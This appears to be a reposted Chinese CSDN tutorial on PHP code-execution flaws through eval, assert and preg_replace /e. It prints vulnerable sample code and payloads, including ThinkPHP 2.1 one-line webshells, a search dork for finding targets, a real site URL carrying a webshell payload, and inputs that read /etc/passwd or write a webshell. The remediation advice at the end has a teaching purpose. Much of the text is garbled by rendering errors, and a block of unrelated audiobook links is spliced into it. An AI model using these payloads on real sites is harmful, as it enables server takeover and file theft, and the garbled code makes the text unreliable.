例子 PHP CMS中 settings的内容: array

内容
1、代码执行漏洞的概述
2、代码执行漏洞的危害
3、代码执行漏洞的利用
4、代码执行漏洞的防御

背景介绍
在Web应用中有时候程序员为了考虑灵活性、简洁性,会在代码调用eval函数(PHP函数)去处理。比如当应用在调用一些能将字符串转化成代码的函数时,没有考虑用户是否能控制这个字符串,将造成代码执行漏洞。

例子
PHP CMS中 settings的内容:

array(
‘upload_maxsize’ => ‘2048’,
‘upload_allowext’ => ‘jpg|jpeg|gif|bmp|png|doc|docx|xls|xlsx|ppt|pptx|pdf|txt|rar|zip|swf’,
‘watermark_enable’ => ‘1’,
‘watermark_minwidth’ => ‘300’,
‘watermark_minheight’ => ‘300’,
‘watermark_img’ => ‘/statics/images/water/mark.png’,
‘watermark_pct’ => ‘85’,
‘watermark_quality’ => ‘80’,
‘watermark_pos’ => ‘9’ ,
)
1
2
3
4
5
6
7
8
9
10
11
PHP CMS中 很常用的string2array函数:

function string2array(KaTeX parse error: Expected '}', got 'EOF' at end of input: data){ if(data == ‘’){
return array();
}
eval("$array = $data;")
return $array;
}
1
2
3
4
5
6
7
PHP CMS中 很常用的string2array函数:

<?php $data = "array('a'=>'aaaa', 'b'=>'222222', 'c'=>'',111=>phpinfo(),222=>'22' )"; eval("\$arr = $data;"); ?>

1
2
3
4
5
6
7
其实settings是一个字符串形式的“PHP数组”,这里必须使用eval函数才能将“字符串”变成一个真正的数组。

漏洞危害

执行任意代码
向网站写WebShell
控制整个网站甚至服务器
相关函数

eval()
assert()
preg_replace() + /e 模式
create_function()
array_map()
call_user_func()/call_user_func_array()
array_filter()
usort(),uasort()
file_put_contents()
fputs()
G E T [ ‘ a ’ ] ( _GET[‘a’]( GET[a](_GET[‘b’]);//a=assert&b=phpinfo()
think2.1
//

$string = ‘google 123, 456’;
$pattern = ‘/(\w+) (\d+), (\d+)/i’;
$replacement = 'runoob 2 , 3 ′ ; e c h o p r e g r e p l a c e ( {2},\\3&#x27;; echo preg_replace( 2,3;echopregreplace(pattern, $replacement, $string);
https://www.ximalaya.com/youshengshu/25246131/
https://www.ximalaya.com/youshengshu/25246127/
https://www.ximalaya.com/youshengshu/25246122/
https://www.ximalaya.com/youshengshu/25246115/
https://www.ximalaya.com/youshengshu/25246108/
https://www.ximalaya.com/youshengshu/25246207/
https://www.ximalaya.com/youshengshu/25246202/
https://www.ximalaya.com/youshengshu/25246197/
https://www.ximalaya.com/youshengshu/25246192/
https://www.ximalaya.com/youshengshu/25246188/
https://www.ximalaya.com/youshengshu/25246260/
https://www.ximalaya.com/youshengshu/25246250/
https://www.ximalaya.com/youshengshu/25246246/
https://www.ximalaya.com/youshengshu/25246234/
https://www.ximalaya.com/youshengshu/25246225/
https://www.ximalaya.com/youshengshu/25246295/
https://www.ximalaya.com/youshengshu/25246285/
https://www.ximalaya.com/youshengshu/25246287/
https://www.ximalaya.com/youshengshu/25246282/
https://www.ximalaya.com/youshengshu/25246276/
https://www.ximalaya.com/youshengshu/25255704/
https://www.ximalaya.com/youshengshu/25255694/
https://www.ximalaya.com/youshengshu/25255700/
https://www.ximalaya.com/youshengshu/25255765/
https://www.ximalaya.com/youshengshu/25255772/
输出: runoob 123,456
1
2
3
4
5
6
intext:thinkphp intext:“Fast & Simple OOP PHP Framework” intext:“2.1”
KaTeX parse error: Expected '}', got 'EOF' at end of input: {@print(eval(_POST[1]))}
{KaTeX parse error: Expected '}', got 'EOF' at end of input: {@eval(_POST[1])}}

http://www.ksftea.com/index.php/module/action/param1/KaTeX parse error: Expected '}', got 'EOF' at end of input: {@print(eval(_POST[1]))}

eval()函数漏洞利用_1

<?php $data = $_GET['data']; eval("\$ret = $data;"); echo $ret; ?>

1
2
3
4
5
/?data=phpinfo()
/?data=1;phpinfo()
/?data=${phpinfo()}
eval()函数漏洞利用_2

<?php //关闭魔术方法 $data=$_GET[‘data’]; eval(“\$ret = strtolower(‘$data’);”); echo $ret; ?>

1
2
3
4
5
6
/?data=1’);phpinfo();//
eval()函数漏洞利用_3

<?php $data=$_GET[‘data’]; eval(“\$ret = strtolower(\”$data\”);”); echo $ret; ?>

1
2
3
4
5
/?data=${phpinfo()} (php版本5.5及以上)
/?data=“);phpinfo();//
preg_replace+/e利用

<?php $data=$_GET[‘data’]; echo $data; preg_replace(‘/(.*)<\/data>/e’,‘$ret=“\\1”;’, $data); echo $ret; ?>

1
2
3
4
5
6
php版本在5.5以上

/?data= p h p i n f o ( ) h t t p : / / l o c a l h o s t / b a j i / v u l / e v a l / e 1. p h p ? d a t a = &lt; d a t a &gt; {phpinfo()} http://localhost/baji/vul/eval/e1.php?data=&lt;data&gt; phpinfo()http://localhost/baji/vul/eval/e1.php?data=<data>{assert(KaTeX parse error: Expected 'EOF', got '}' at position 10: _POST[1])}̲</data> 漏洞利用 {{@eval(KaTeX parse error: Expected 'EOF', got '}' at position 10: _POST[1])}̲} 一句话 {{exit(print(getcwd()))}} 获取当前工作路径
{KaTeX parse error: Expected '}', got 'EOF' at end of input: …e_get_contents(_POST[f])))}}
读文件 f=/etc/passwd
{KaTeX parse error: Expected '}', got 'EOF' at end of input: …e_put_contents(_POST[f], $_POST[d])))}}
写webshell f=1.php&d=1111111

漏洞修复方案

对于eval( )函数一定要保证用户不能轻易接触eval的参数或者用正则严格判断输入的数据格式。
对于字符串一定要使用单引号包裹可控代码,并且 插入前进行addslashes().
对于preg_replace放弃使用e修饰符。如果必须要用e修饰符,请保证第二个参数中,对于正则匹配出的对象,用单引号包裹 。

作者:刘三羊
来源:CSDN
原文:https://blog.csdn.net/qq_37133717/article/details/94760485
版权声明:本文为博主原创文章,转载请附上博文链接!

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值